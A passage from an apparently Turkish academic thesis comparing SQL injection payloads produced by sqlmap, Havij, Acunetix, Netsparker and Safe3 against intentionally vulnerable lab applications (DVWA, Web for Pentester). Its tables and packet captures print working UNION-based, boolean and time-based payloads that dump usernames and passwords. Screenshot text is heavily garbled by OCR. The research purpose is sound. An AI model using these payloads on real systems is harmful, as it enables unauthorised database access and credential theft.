parola MDS5 bilgileri de ¢ekilmistir.

ShellNo.1

File Actions Edit View Help
[ AT i

admin admin admin 2021-11-03

onb a Brown Gordon 2021-11-¢

Pablo

Sekil 4.3. Sqlmap kullanarak kullanici adlar ve sifrelerin ¢ikarilmasi.

Burp Suite araci ilizerinde de otomatik olarak yapilan veri yiikleri analiz edildiginde
basarili veri yiiklerinin elle yapilan sorgu denemesine benzer sonuglar oldugu
gorilmistiir. Sekilde 4.4 te yapilan veri yiikii denemesinde “admin” kullanici ad1 bilgisi

burp suite araci iizerinde goriilmektedir.
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Burp Project Intruder Repeater Window Help
[ Dashboard | Target | Proxy | Intruder TRepaatEr TSsquencer TDecoder IComparsr TExtendsr I Project options TUser options

[ Intercept IHWP history T WebSockets history I{Jpliuns }

| Filter: Hiding €55, image and general binary content ‘@

URL

Jjdvwajjsfadd_event_listeners.js
Jdvwafinstructions php
Jdvwafjsfadd_event_listeners.js
Jdvwajvulnerabilities/sqli/
Jehwapvulnerabilities/sgli7id=3&Submit=Submit
Jdvwajvulnerabilities/sqli/7id= 1&Submit=Submit
| Jdvwapvulnerabilities/sgli7id=2&submit=Submit

T

fdvwajvulnerabilities/sqgli/7id= 1&Submit=Submit
Jdvwapulnerabilities/sglif7id= 1&submit=Submit
Jdvwajvulnerabilities/sqli/7id= 1%27%20UNION% 20ALL %20 SELECT%%20CONCAT% 280x7 16b 70787 1%2C)SON_ARRAYAGG% 28 CONCAT_WS%280x6{6a706d736c% 2Ctable_name%29%29%2C0x717 1)
Jdvwajvulnerabilities/sqlif7id= 1% 27%20UNION% 20AL L %20SELECT%20CONCATY 280x7 16b70787 19%2C/SON_ARRAYAGGY%2ZBCONCAT WS%280x6f6a706d736¢%2Ccolumnn_namew2Ccolumn_typed
7% 20UNION% 20ALL%20SELE CT%20CONCAT%280x7 16b 70787 1%2C)SON_ARRAYAGG%28CONCAT_WS%280x56{6a706d738c%2C%50usert:60%2Cavatar¥2Cfaile
Jdvwapvulnerabilities/sqglij7id= 1%27%20UNIONZ 20AL L% 20SELECT%20CONCAT% 280x7 16b70787 1% 2C|SON_ARRAYAGG%28CONCAT WS%280x6f62706d736¢%2Ccolumn name%2Ccolumn_typey

Jdvwafvulnerabilities/sqli/7id= 1%27%20UNION% 20ALL %20 SELECT%20CONCAT%280x716b7078 GET request to http://127.0.0.1/dvwalvulnerabilities/sqli/?id=1&Submit=Submit - O x [LFels
Jdvwapulnerabilities/sgli7id= 1&Submit=Submit
| idvwajvulnerabilities/sqli/?id= 1%27%20UNION% 20ALL%20SELECT%20 CONCAT%280x7 16b7078 | previous || mext || Action |[ox7171
EL 8 J T
|| | Request | Response =

Request | Response ]
= d d
n Raw | Params THeaders Hex jaw flosderns IHE:;I foncer ] T

1 GET /dvwa/vulnerabilities/sqli/?id=1&Submit=sSubmit HTTP/1.1 78 User ID:
2 Host: 127.0.0.1 <input type='text" size='15" name='id">
3 User-Agent: Mozillas5.0 (X11; Linux x86_64; rv:68.08) Gecko/20100101 Firefef so <input type="submit® name="Submit® value="Submit"

4 accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8 </p>

S Accept-Language: en-US,en;q=0.5

& Accept-Encoding: gzip, deflate </form=

7 Referer: http://127.0.0.1/dvwa/vulnerabilities/sqli/71d=38Subm t=Submi t 84 <pre>

& Connection: close ID: l<br /=

9 Cookie: security=low; PHPSESSID=dllckaléfpinishegreqjl7e7y First name: admin=hr /=

10 Upgrade-Insecure-Requests: 1 Surname: admin

11 </pre>

12 85 </div> v

Sekil 4.4. Sqlmap sorgu denemesinde kullanic1 ad1 bilgileri.

Cizelge 4.1°de sqlmap aracinin yapmis oldugu veri yiikii denemeleri burp suite aracinda
da analiz edilerek cizelgede etkin ve etkin olmayan veri yiiklerinin degerlendirmesi
yapilmustir. Burp suite programinda yapilan bu incelemede veri yiikleri decode edilerek

basarili ve bagarisiz veri yliklerinin yaptiklar1 sorgular karsilagtirilmistir.

Cizelge 4.1. DWVA’a sqlmap ile yapilan SQL enjeksiyon veri yiiklerinin analizi.

Veriyiikii
Sqlmap
[Denemeleri

Etkin Yuk id=1&Submit=Submit

Yapilan sorgu [id=1&Submit=Submit

1%27%20UNION%20ALL%20SELECT%20CONCAT%280x716b7078
Etkin 71%2CISON_ARRAYAGG%28CONCAT_WS%280x6f6a706d736¢c%?2
Ctable name%29%29%2C0x7171707071%29%2CNULL%20FROM%?2
OINFORMATION SCHEMA.TABLES%20WHERE%?20table_schema
%020IN%20%280x6476776131%29%23

1' UNION ALL SELECT
CONCAT(0x716b707871,JSON_ARRAYAGG(CONCAT_WS(0x6f6a7
Yapilan sorgu 06d736¢,table_name)),0x7171707071),NULL FROM

INFORMATION_ SCHEMA.TABLES WHERE table schema IN
(0x6476776131)#

Olmayan Yiik

Cizelge 4.1°deki yapilan veri yiikii denemeleri incelendiginde DVWA web uygulamasi

veritabaninda bulunan tablo igerisindeki siitun adlarinda id=1 degerine karsilik gelen
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AND mantiksal baglaci ile basit hale getirilen sorgu kosulu dogrulanarak, Sekil 4.4’ te

yapilan burp suite tizerindeki yapilan analizde de goriildiigi gibi etkin veri yiikii tabloda

bulunan “admin” bilgisini getirmistir.

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget TProxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options }

Intercept | HTTP history T WebSockets history TOptluns ]

| Filter: Hiding CSS, image and general binary content

[#  alHost | method | URL
253 http://127.0.0.1 GET Jdvwalfjs/add_event_listeners.s A
254 http://127.0.0.1 GET Jdvwapvulnerabilities/sglif r
255 http:/127.0.0.1 GET Jdvwapvulnerabilities/sglij7id= 38:5ubmit=Submit
256 http:/127.0.0.1 GET jehvwapvulnerabilities/sgli/?id= 1&Submit=Submit
257 http:f127.0.0.1 GET Javwapvulnerabilities/sglif?id=2&Submit=Submit
258 http:/127.0.0.1 GET Jdvwavulnerabilities/sglij7id= 1&Submit=Submit
258 http://127.0.0.1 GET Jdvwapvulnerabilities/sglij7id= 1&Submit=Submit

| 260 httpi127.0.0.1 GET [Iehwapvulnerabilities/sqlif7id= 19%27%20UNION%20ALL% 20SELEC T%20CONCAT%280x7 1657
261 http://127.0.0.1 GET Jjdvwajvulnerabilities/sglif?id=1%27%20UNION%20ALL % 20SELECT%20CONCATY%280x7 16b 7
262 http://127.0.0.1 GET Jdvwapvulnerabilities/sqlij?id= 1%27%20UNION%20ALL%20SELECT%20CONCAT%280x7 16b7
263 http://127.0.0.1 GET Jdvwapvulnerabilities/sqlij?id= 1%27%20UNION%20ALL%20SELECT%20CONCATY%280x7 16b7
264 http://127.0.0.1 GET Jdvwapvulnerabilities/sqlif?id=1%27%20UNION%20ALL%20SELECT%20CONCAT%280x7 16b7
265 http:/127.0.0.1 GET Jdvwapvulnerabilities/sglif?id= 18Submit=Submit
266 http://127.0.0.1 GET Jdvwavulnerabilities/sglif?id=1%27%20UNION%20ALL % 20SELEC T%20COMNCATY 280x7 16b7
267 http://127.0.0.1 GET Jdvwapvulnerabilities/sqlif?id= 1%27%20UNION%20ALL% 20 SELECT%20CONCAT%280x7 16b7
268 http://127.0.0.1 GET Jdvwapvulnerabilities/sqlij?id=19%27%20UNION%20ALL%20SELECT%20CONCAT%280x7 16b7 v

e
Request | Response ]

e

Raw | Params Headers Hex

1 GET /dvwa/vulnerabilities/sqli/?id=

1%27%20UNI ON%20AL L %20SEL ECT % 20C0NCAT%280x7 16b 70787 1%2C) SON_ARRAY AGG2BCONCAT_WS%280x6f 6a706d736c%2Ctable_name%29%29%2C0
%x7171707071%25%2CNULL %20FR0M: 20T NFORMAT LON_SCHEMA. TABLES%20WHERE%:20tab le_schema%s20L Ns20%280x6476776131%29%236Submi t=
Submit HTTP/1.1

2 Accept-Language:
2 Accept-Encoding:

4 Host: 127.0.0.1
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

& User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
7 Connection: close
2 Referer: http://127.0.0.1/dvwa/vulnerabilities/sqli/?1d=285Submit=Submit

o Cookie:

en-Us,en;q=0.5
gzip, deflate

securitv=Llow: PHPSESSID=dllckalé&fpiniobearsail7evv

Sekil 4.5. Etkin olmayan sorgu denemesi.

A

Otomatik olarak SQL enjeksiyon denemesi yapan Sekil 4.6’da gosterilen Havij araci ile

de web for pentester uygulamasi tizerinde veri ylikii incelemesi yapilmistir. Arag tizerinde

target boliimiine web for pentester uygulamasinin SQL enjeksiyon zafiyetinin bulundugu

URL yazilir. Daha sonra “analyze” butonuna basarak tarama islemi baglatilir. Bu sirada

hedef belirtilen sunucuya baglanip SQL enjeksiyon zafiyeti yardimiyla veri tabanindan

bilgileri cekmeye ¢alismaktadir. Tarama iglemi bittikten sonra “GET DBs” ile hedefteki

veritabaninin getirilmesi saglanmistir. “Get Tables” butonu ile de getirilen veritabaninin

tablolar listelendi. Sekilde goriildiigii gibi getirilen “users” tablosu “Get Data” segenegi

ile tablo icindeki bilgilerin getirilmesi saglanmistir.
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s [

ﬁ Hawij
Target: http://192.168.165.238/sqli/fexamplel.php?nam i
. - Anal Pause
|| Keyword: Auto Detect | Syntax: Auto Detect it £
Database: [Auto Detect v] Method: [v  lype: [Auto | . <]
e I M JPD — Load Save
Post Data:
' w =) = .
About Info Tabies Read Fufes 4 She! Query Find Admin
x
Stap Get DBs Get Tablﬁ Get Columns Get Data Save Tables
=-[] exeicises id
name asswd roupid
=[] users B group
-] id 1 admin 10 admin 10
~[¥] name 2 root 30 admin21 0
-[] age 3 userl 5 secret 2
-] groupid
-] passwd 5 user2 2 azerty 5
[ information_schema
|| Use Group_Concat (MpSAL Onlkyl V] &llin one request. || Force to use it 7| Clear list
Status: I'mIDLE Clear Log
ount{tablie_name) of information_schema.tables where table_schema=0 .
users _ ¥ _ )
_name of information_schema.columns where table_sche
2 Td name, age gruu:: d,passwd -
" ¢

Sekil 4.6. Havij aracinda SQL enjeksiyon ile verilerin ¢ekilmesi.

Veri yiikii incelenmesinde ag trafigini analiz etmemize yarayan wireshark araci
kullanilmistir. Once havij programi ile yapacagimiz web uygulama baglantisi ile sekilde
gorildiigli gibi hazir hale getirilir. Bilgisayarda bagka bir web browser gibi programlar
varsa kapatilmalidir. Wireshark araci acilarak ag iizerinde paketleri yakalama butonuna
tiklanir ve hemen ardindan havij programi lizerinde web uygulamasi “analyze” butonu ile
taranmaya baslanir. Tarama islemi bittikten sonra wireshark programi durdurularak ve
yakalanan paketler asagidaki sekilde analiz edilmistir. Analizin daha kolay olmasi i¢in
http protokolii filtrelenerek, agda olusan veri yiikii denemeleri analiz edilmistir. Sekil

4.7°de yapilan incelemede kullanici adi bilgilerinin bulunmasi konusunda basarili veri

yiikii denemeleri wireshark tizerinde tespit edilmistir.
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M “Ethernetd — ] x

DOSYA Duazenle Gorunim  Git Yakala Analiz Istatistikler Telefon Kablosuz Araclar Yardim

L ® TRE QesE=g $=[EaaqaiE

[ [http B -]+
Source Destination Protocol Length Info &
162.168.1.11 192.168.1.10 HTTP 436 HTTP/1.1 200 0K (text/html)
192.168.1.10 192.168.1.11 HTTP 617 GET /sqli/examplel.php?name=999999.9%27%20union%28a
192.168.1.11 192.168.1.10 HTTP 446 HTTP/1.1 280 OK (text/html)
192.168.1.10 192.168.1.11 HTTP 017 GET /sqli/examplel.php?name=999999.9%27%20union%20a
192.168.1.11 192.168.1.10@ HTTP 447 HTTP/1.1 280 0K (text/html)
192.168.1.10 192.168.1.11 HTTP 617 GET /sgli/examplel.php?name=999999.9%27%20union%20a
162.168.1.11 192.168.1.10 HTTP 447 HTTP/1.1 200 0K (text/html)
192.168.1.180 192.168.1.11 HTTP 617 GET /fsqli/examplel.php?name=999999.9%27%28union%20a
192.168.1.11 192.168.1.10 HTTP 447 HTTP/1.1 200 OK (text/html) e

>

<

[Calculated window size: 6976]
[Window size scaling factor: 64]
Checksum: ©x2aa8 [unverified]
[Checksum Status: Unverified]
Urgent Pointer: @
[Timestamps]
[SEQ/ACK analysis]
TCP payload (392 bytes)
TCP segment data (392 bytes)
[2 Reassembled TCP Segments (1852 bytes): #449(1460), #450(392)]

65
72
6d
32
3e
3c
20
20

3c 2f 74 68
3e 3c 74 64
69 be 27 Je
35 34 38 30
31 3@ 32 35
2f 74 72 3e
20 20 3c 66
20 20 20 3c

3e
3e
3c
30
34
3c
6f
70

3e
6d
3c
74
36
[1e
3e
70

@9
6e

rage</th ~

d

64 [_"admin*~ [<7Ed><Ed

3e
2f
3e
20
3b

>1025480 056</td>
<td>1025 480056</
td></tr> </table>
<f ooter>
p>&copy;

A

Sekil 4.7. Havij kullanic bilgileri analizi.

Cizelge 4.2. DWVA’a havij araci ile yapilan SQL enjeksiyon veriytiklerinin analizi.

Veriyiikii
Havij
Denemeleri
999999.9%27%20union%20all%20select%20%28select%20concat%280
Etkin Yiik X27%2C0x7e%2Cunhex%28Hex %28cast%28users.name%20as %20char
9029%29%29%2C0x5e%2Cunhex %28Hex %28cast%28users.passwd %2
0as%20char%29%29%29%2C0x27%2C
Yapilan sorgu union all select (select concat(0x27,0x7e,unhex(Hex(cast(users.name as
char))),0x5e,unhex(Hex(cast(users.passwd as char))),0x27,
Etkin
2 201%3D1
Olmayan Yiik 7%200r%201%3
Yapilan sorgujor 1=1

Caligmada havij aracinin web for pentester uygulamasina arka planda yapmis oldugu veri

yiikii denemeleri wireshark aracindan ayristirilarak cizelgede gosterilmistir. Ayristirilan

veri yiikleri decode edilerek kullanilan SQL sorgular1 tabloya kaydedilmistir. Etkin

olmayan yiik denemesi (or 1=1) sorgu kusulu DVWA web uygulamasinda POST

edilerek, yani web uygulamasi input alaninda el ile denendiginde veritabaninda bulunan
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tablodaki herhangi bir id degeri ile eslesemediginden dolay1 basarili sonug alinamamistir.
Etkin olan veri yiikii sorgusu incelendiginde uygulama veritabaninda bulunan “users”
tablosu i¢indeki passwd ve name siitun adlar1 i¢in “char” karakter fonksiyonu kullanilmas,
“cast” fonksiyonu ile tablo i¢indeki tiim veri tiplerini doniistiirerek “union all select”

operatorii ile tablodaki tiim kullanici adi ve sifre bilgilerinin ¢ekilmesi saglanmaistir.

M Wireshark - Paket 447 - Ethernet0 — O x

[Checksum Status: Unverified] -~
Urgent Pointer: @
> [Timestamps ]
> [SEQ/ACK analysis]
TCP payload (563 bytes)
~ Hypertext Transfer Protocol

W
> [ [truncated]Expert Info (Chat/Sequence): GET /sqli/examplel.php?name=99
Request Method: GET
v Request URI [truncated]: /sqli/examplel.php?name=999999.9%27%20union%20a
Request URI Path: /sgli/examplel.php ~
< - - o -7 T T T
P00 20 14 85 b3 @0 @0 47 45 54 20 2f 73 71 6¢c 69 2f @ - - .- GE T /sqli/ ~
4 61 70 6c B5

sers.nam
Bchar%29

E]
E]
E]

[=)]

st¥%28use|
d%20as%

W h o~

w
Mo

. OxT7e¥29%

Sekil 4.8. Havij etkin veri yiikii denemesinin wireshark analizi.

[15] de onerilen SQL enjeksiyon giivenlik ag¢ig1 tarayicisinin, giivenlik agiginin
belirlenmesinde belirtilen diger web uygulama tarayicilar ile karsilastirilmistir. Yapilan
calismaya ek olarak giivenlik zafiyetinin kesfinde web tarayicilarinin SQL enjeksiyon
zafiyetinin belirlenmesinde arka planda yapmis olduklar1 veri yiikii denemeleri Cizelge
4.3’te karsilasgtirllmistir. Cizelge incelendiginde, Acunetix aracinin basarili olarak yapmis
oldugu veri yiikii denemesinde kullanilan AND mantiksal baglac1 icerisindeki
matematiksel islem yapildiginda ‘AND 1=1 kullanilan “Sour” degiskeniyle yapilan
mantiksal iglemle ayn1 mantiksal sonucu iliretmesinden dolay1 veritabanindan “true” her
zaman dogru olarak degerlendirilmesine neden olarak sorgu basitlesir. Sorgunun yalnizca

kimligi dogrulanmis kullanicinin sahip oldugu o6geleri dondiirmesi gereksinimini
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atlamasini saglar ve sorgu artik belirtilen sahiplerinden bagimsiz olarak tabloda
depolanan tiim girdileri dondiiriir. Etkin olmayan veri yiikiindeki matematiksel islem
yapildiginda ‘AND 2=1 sorgu sonucu dogrulanamayarak kullanilan “Sour” degiskeni ile

yapilan mantiksal islemle ayn1 mantiksal sonucu iiretememis ve basarisiz olmustur.

Netsparker aracinin zafiyet taramasi esnasinda gerceklestirmis oldugu etkin veri yiikii
incelendiginde otomatik olarak gerceklestirilen mantiksal sorgu incelendiginde ayni
sekilde bagarili dogrulama islemi ger¢eklesmistir. Etkin olmayan veri ylikii denemesinde
ise veri tabanindan gelen yanitlarin gecikebilecegi ve bu esnada veri cekilebilecegi

ihtimali diisiintilerek 25 sn bekletilmeye calisilmig fakat basar1 saglanamamistir.

Safe3 zafiyet tarama aracinin SQL enjeksiyon zafiyetinin olup olmadiginin
belirlenmesine yonelik kullanmis oldugu SQL enjeksiyonunda kullanilan karakter

ifadeleri Cizelge 4.3’ te gosterilmistir.

Cizelge 4.3. Web zafiyet tarama araglar1 veri yiikii karsilastirilmasi.

Etkin olmayan

Araclar | Etkin yiikler | Yapilan sorgu Yapilan sorgu
yiikler
'%20AND %20 %ZS‘)//;I;I??ZO3
' 0 -7
2%2b1-1- | TAND 2411 g5 000,0p0%20]  * AND 341-1-
. | 1%3d0%2b0% | 1=0+0+0+1 AND
Acunetix 0%2b1%20AND| 1=0+0+0+1 AND
2b0%2b1%20A| 'SouR'='SouR 720'SouR'%3d'S 'SouR'='SouR
ND%20'SouR’ ’ uR ’ el
%3d'SouR ol
9%027))%20W AIT
root%200r%20| 'OR 1=1 OR |FOR%20DELA |y WAITFOR DELAY
Netsparker Y %20%270%3a
1%3D1 'ns'="ns 0%3a25%727-- '0:0:25'--
Safe3 /'%60%22( ™"( /-0 /-0

Web giivenlik zafiyetinin belirlenmesinde kullanilan acunetix, netsparker, safe3
araclarinin yaptiklar1 veri ylikii denemeleri wireshark ag trafik izleme programi ile

analizleri yapilarak asagidaki sekillerde gosterilmistir.
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@ Acun e anner (C — O <
: File Actions Tools Configuration Help
| New Scan @ @ # 8 EB®& 8 ® e & | ' ki
i Eetees B )5 | e | o3| ) Report | 2 | start URL: |nttp://192.168. = | Profile: [Default v | Edstrt
[l we'i::t"”;:::z i Scan Flesults This vulnerability affects [sali/example php. =
Tools Bl 5 ScanThread 1 (http:/f A Discovered by: Scripting (Blind_Sql_Injection. script).

Site Crawfer & lllg Web Alerts (10) Attack details

4~ Target Finder @ Blind SQL Injecti

£, Subdomain Scanner . |:| Jealifexamph URL encoded GET input name was set to root’ AND 3*2*1=6
] Blind SQL Injector L B9 name(l AND '000dK.Jy'='000dK.Jy

-[E HTTP Editor i

A&, HTTP Sriffer

i HTTP Fuzzer

variz

o Tests performed:
+ @) Apache httpd re

® root AND 2+1-1-1=0+0+0+1 AND "000dKJy="000dK ]y == TRUE

% Authentication Teste [ 0 Apache mod_ne
9 FRIET e [ & @ Clddacking: XF ® oot AND 3+1-1-1=0+0+0+1 AND "000dKJy="000dKJy == FALSE
1 Compare Results : ;
Web Services . B @ Email address fe ® oot AND 3*2=(0+5+0+0) AND "000dKJy="000dKJy == FALSE
-g~| Web Services Scanner @ Error page web ® oot AND 3°2=(0+5+0+0) AND "000dKJy="000dKJy == FALSE
™ Web Services Editor - @ Internet Explore i i
Configuration - @ Possible internal ® roof AND 2+1-1-1=1 AND "000dKJy'="000dKJy == TRUE
%| Application Settings @ @ Possible server| , ® root AND 3+1-1-1=1 AND '000dK.Jy'="000dKJy == FALSE Vs
| Scan Settings R T s
| Scanning Profiles < > ( )
General [ Activity Window iy

@ Program Updates
1] Version Information

12.27 13.:10.4.6, [Warning] Unable to download update information. Please review your settings or try later.
12.27 13:10.46, [Error] Host not found. [00012AF9]

""" il Licensing Host name lookup failed
@‘] Support Center

4] Purchase

fé:] User Manual |

----- & AcuSensor Application Log  Error Log

Sekil 4.9. Acunetix tarama sonuglari.

Acunetix zafiyet tarama araci tarafindan yapilan basarili ve basarisiz SQL enjeksiyon
saldir1 denemeleri sekilde gosterilmistir. Ayrica Sekil 4.10 ve 4.11°de wireshark
tizerinden acunetix zafiyet tarama aracinin yaptigi veri yiikleri yakalanarak tespit

edilmistir.

M Wireshark - Paket 1138 . Ethernet0 — O X

Frame 1138: 1003 bytes on wire (8024 bits), 1003 bytes captured (8024 bits) on interface \Device\h ~
Ethernet II, Src: VMware_bf:d2:3d (@0:0c:29:bf:d2:3d), Dst: VMware_27:13:9c (00:0c:29:27:13:9c)
Internet Protocol Version 4, Src: 192.168.1.11, Dst: 192.168.1.10
Transmission Control Protocol, Src Port: 80, Dst Port: 51279, Seq: 26664, Ack: 11797, Len: 949
v Hypertext Transfer Protocol

HTTP/1.1 208@ OK\r\n

Date: Sun, 26 Dec 2021 10:59:34 GMT\r\n

Server: Apache/2.2.16 (Debian)\r\n

X-Powered-By: PHP/5.3.3-7+squeezel5\r\n

v
< o >
00100000 00100000 00100000 06100000 B6111100 61110100 61110010 06111110 <trs> A
00111100 01110100 01101000 00111110 6110le0l 61100100 00111100 06101111  <th»>id</
01110100 01101000 00111110 00111100 01110100 01101000 00111110 01101110  th><th>n
01100001 01101101 01100101 00111100 00101111 01110100 01101000 00111110  ame</th>
00111100 01110100 61101000 00111110 61100001 61100111 61100101 06111108  <th
00101111 01119100 6lleleee 60111116 eelllles eelellll ellleles ellleele  /thx></tr
00111110 00001010 00001001 00001001 00111100 01110100 01110010 00111110 > r>
06111100 61110100 61100100 06111116 60110010 60111100 #e101111 81110108 <t t
01100100 00111110 00111180 01110100 01100108 00111110 01110010 01101111  d»<td>ro
01101111 01110100 00111100 00101111 01110100 01100100 00111110 00111100  ot</td><
01110100 01100100 00111110 00110011 00110000 00111100 00101111 01110100 td/t
W

Frame (1003 bytes) Uncompressed entity body (1589 bytes)

Sekil 4.10. Acunetix tablo i¢i bilgileri sorgusu.
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M Wireshark . Paket 1137 - Ethernet0 = O >

2 bytes on wire (3696 bits), 462 bytes captured (3696 bits) on interface \Device\NPF {8B2D1A56-EBCC- ~
rc: VMware 27:13:9c (@8:8c¢:29:27:13:9c), Dst: VMware bf:d2:3d (80:0c:29:bf:d2:3d)

col Version 4, Src: 192.168.1.10, Dst: 192.168.1.11

ontrol Protocol, Src Port: 51279, Dst Port: 88, Seq: 11389, Ack: 26664, Len: 408

er Protocol

xcanplel . php?name=root R*%3d" SouR HITP/L.1\r\n
d-With: XMLHttpRequest\r\n
Ftp://192.168.1.11:88/sqli/examplel.php?name=root\r\n

168.1.11\r\n

01101110
eel111010@
01101100
91100011
91101111
1111010
01160001

paleeoeo
p1618111

10 00181161

1101110
00100000
01101001
91180101
01100100
91101001
01110100

al1ee11e1
ea1181e1

10 @l11ee1ee

ealielie
86118110

01100101
9le01011
91110110
091110000
1101001
01110000
01100101
091000001
91101111
pe101110
91101111
pe101110
90110100

01100011
81100101
91100101
091110108
81101110
00101100
00001101
81100111
81111010
00110000
01110111
00110001
p0101001

01110100
91100101
P0001101
90101101
81100111
01100100
00001010
81180101
081101001
Pe160600
01110011
80111011
Pe100000

91101001
91110000
pepel1e1e
91000101
pe11161e
91100101
81818101
81101110
eli1e11ee
pol1e1600
00100000
Bolecoee
010006001

01101111
08101101
01000001
el1el11ie
po100000
01100110

e11e111e
91100001
91100011
91100011
91100111
01101100

01110011 @

091110108 0!

11081100

91010111 ¢

91601110

01010111 ©1€

01110006

01110600

nnection
: Keep-a
live- -Ac

cept-Enc
oding: g
zip,defl

Sekil 4.11. Acunetix veri ytikleri.

SQL enjeksiyon zafiyetin kesfinde diger bir ara¢ olan “safe3 web zafiyet tarayicisi”nin
SQL enjeksiyon zafiyetinin belirlenmesine yonelik tarama yapilmistir. Yapmis oldugu
veri ylkleri es zamanli olarak Sekil 4.13’de wireshark programi iizerinde analiz

edilmistir.

ka_,l |h11p:,f,f192.168.1.11fsqlijexample1.php?name=root,.f

—Scan setting rVulnerability setting
[“l.Js Resolve [FlUr Redirect [JPOST Resolve F1SAL Injection [xss
Get Cookie | | [OExec  [File Handling
| | [uUpload ] Admin path
= U Include:
[Potential Others
@ Ul Exclude: |Iogout |
~Crawling Status
o Crawling: 18 Vulnerability: 3

@ Vulnerability(right click to copy or export report data)
http://192.168.1.11/sgli/example1 php?name=rootf maybe exists sgl injection
http:/f192.168.1.11/sqgli/fexample4 php?id=2 maybe exists sqgl injection
hittp://192.168.1.11/codeexec/example2. php?order=id maybe exists sql injection

Sekil 4.12. Safe3 SQL enjeksiyon zafiyet taramasi.
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‘ safe3_2.pcapng

DOSYA Duzenle Gorunim Git Yakala Analiz |[statistikler Telefon Kablosuz Araclar Yardim

A m ® R Qéems2ZF &= aQaqaiE
| |http
No. Time Source Destinatior Protocol Length  Info
10 0.02.. 192.168.1.11 192.16... HTTP 928 HTTP/1.1 200 OK (text/html)
11 ©.02.. 192.168.1.10 192.16.. HTTP 262 GET /sqli/examplel.php?name=root/ '%60%22( HTTP/1.1
12 0.02.. 192.168.1.11 192.16.. HTTP 883 HTTP/1.1 200 OK (text/html)
13 @.82.. 192.168.1.10 192.16.. HTTP 259 GET /sgli/examplel.php?name=root/%83"( HTTP/1.1
15 0.03.. 192.168.1.11 192.16.. HTTP 883 HTTP/1.1 200 OK (text/html)
18 0.03.. 192.168.1.10 192.16.. HTTP 226 GET / HTTP/1.1
21 0.03.. 192.168.1.11 192.16.. HTTP 398 HTTP/1.1 200 OK (text/html) —
-+ 26 @.88.. 192.168.1.10 192.16... HTTP 256 GET lsqli/examplel.php?name:rmoﬂ/—ﬂ HTTP/l.l
27 ©@.08.. 192.168.1.180 192.16.. HTTP 254 GET /xss/examplel.php?name:hackeF-ﬁTTPfl.l

Internet Protocol Version 4, Src: 192.168.1.10, Dst: 192.168.1.11
Transmission Control Protocol, Src Port: 49979, Dst Port: 80, Seq: 838, Ack: 3464, Len: 2082
~ Hypertext Transfer Protocol

GET /sqli/examplel.php?name=root/-@ HTTP/1.1\r\n
Accept: */*\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 7.@; Windows MT 5.1; SV1; _NET CLR 2.8.50727)\r\n
Host: 192.168.1.11\r\n
Accept-Encoding: gzip, deflate\r\n
\r\n
[Full request URI: http://192.168.1.11/sqgli/examplel.php?name=root/-8]

Sekil 4.13. Safe3 veri ylikii sorgulari.

Sekil 4.13’te goriildiigii gibi bagarili veri yiikii denemelerinin HTTP 200 durum kodu ile

sunucudan basarili yanitin geldigi veri ytikleri goriilmiistiir.

Safe3 web zafiyet tarama araci test ettigi web URL adresinde SQL enjeksiyon zafiyetinin
olup olmadigini sorgu bélme ydntemlerini kullanarak parametreler yardimiyla yaptigi

tespit edildi.

Web uygulamasi giivenlik tarayicilarindan digeri olan “Netsparker” programi sanal
windows bilgisayarina kurulumu yapilarak ve web for pentester uygulamasinin SQL

enjeksiyon acigiin bulundugu URL adresi girilerek zafiyet taramasi yapildi.

Sekil 4.14’te Netsparker web uygulama zafiyet tarayicisinin tarama islemi sonunda
buldugu zafiyetler gosterilmistir. Ayrica bu tarayicinin SQL enjeksiyon zafiyetini

kesfederken kullanmis oldugu veri yiikii denemeleri goriintiilenmistir.
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=, Sitemap o r X OVuInerabiIity El HTTP Request / Response El Browser View -

Y- [El- ®~ @~ | Enter text to search..

» - - A
« &3 192.168.1.11:80/sqli/example1php (6) * Boolean Based SQL Injectlon
v 2= examplel
v %= [No parameters] 1
Apache MultiViews En...
9 Missing X-XSS-Protecti... I— URL : h:tp:,fflgz.168.1.111‘5qli:‘example1.Dhn?namee!:'i_ni‘ %ZGER?Szel:i%Z@DR%ZG‘ns‘:E
. E| example.php Parameter Name : name
v BET 2name I Parameter Type : GET
o Boolean Based SQL Inj... Attack Pattern :@%27+0R+1%3d1+0ﬁ+%27ns%Z?%Bd%@
o Qut-of-date Version (... |
o Qut-of-date Version (... i . CLASSIFICATION
@ outof-date Version (P... | Proof of Exploit PCI DSS 3.2 6.5.1
Missing X-Frame-Opti... - . OWASP 2013 Al
Version Disclosure (Ap.. ' 'ldentified Database Version S . o
Version Disclosure (PH... CWE ;
g Content Security Policy... CAPEC ;
& Issues o & x WASC 19
Y- E- ©- O [ ertertext to search,. £ HIPAA 164.306(4), 164.308(A)
- "’:ﬁ 192.168.1.11:80/sqli/examplel.php (4... * 15027001 Al225 v
> @ Boolean Based SQL Injection
C MR A f e Vi ACAT < >

Sekil 4.14. Netsparker zafiyet tarama sonuglari.

Cizelge 4.3’te Netsparker web uygulama zafiyet tarayicisinin yapmis oldugu veri ytikii

ve sorgularin wireshark ag paket izleme programu ile yakalanarak tespit edilen sorgular

gosterilmistir.
[ntp o+
No. Time Source Destinatior Protocol Length Info (2]
211 106... 192.168.1.11 192.16.. HTTP 883 HTTP/1.1 200 OK (text/html)
212 1097... 192.168.1.10 192.16.. HTTP 488 GET /sqli/examplel.php?name=root¥%27%200R%201%3d1%200R%20%27ns%27%3d%27ns H..
213 107... 192.168.1.11 192.16... HTTP 982 HTTP/1.1 200 OK (text/html)
214 107... 192.168.1.10 192.16.. HTTP 488 (GET ,"sqli,"examplel.php?name:Irwt%lZ%l@OR%l@l%3d1%200R%2B%22n5%2H3d%22n5 ‘-?._. 1
.- 215 107.. 192.168.1.11 192.16.. HTTP 928 HTTP/1.1 200 0K (teﬂjh‘tml)"_; —_—
216 107... 192.168.1.10 192.16... HTTP 463 GET /sqli/examplel.php?name=-1%200R%2017-7%3d10 HTTP/1.1
217 107... 192.168.1.11 192.16... HTTP 928 HTTP/1.1 200 OK (text/html)
218 107... 192.168.1.10 192.16.. HTTP 465 GET /sgli/examplel.php?name=root%200R%20X%3d%27ss HTTP/1.1 v
Host: 192.168.1.11\r\n A
Accept-Encoding: gzip, deflate\r\n

\rin

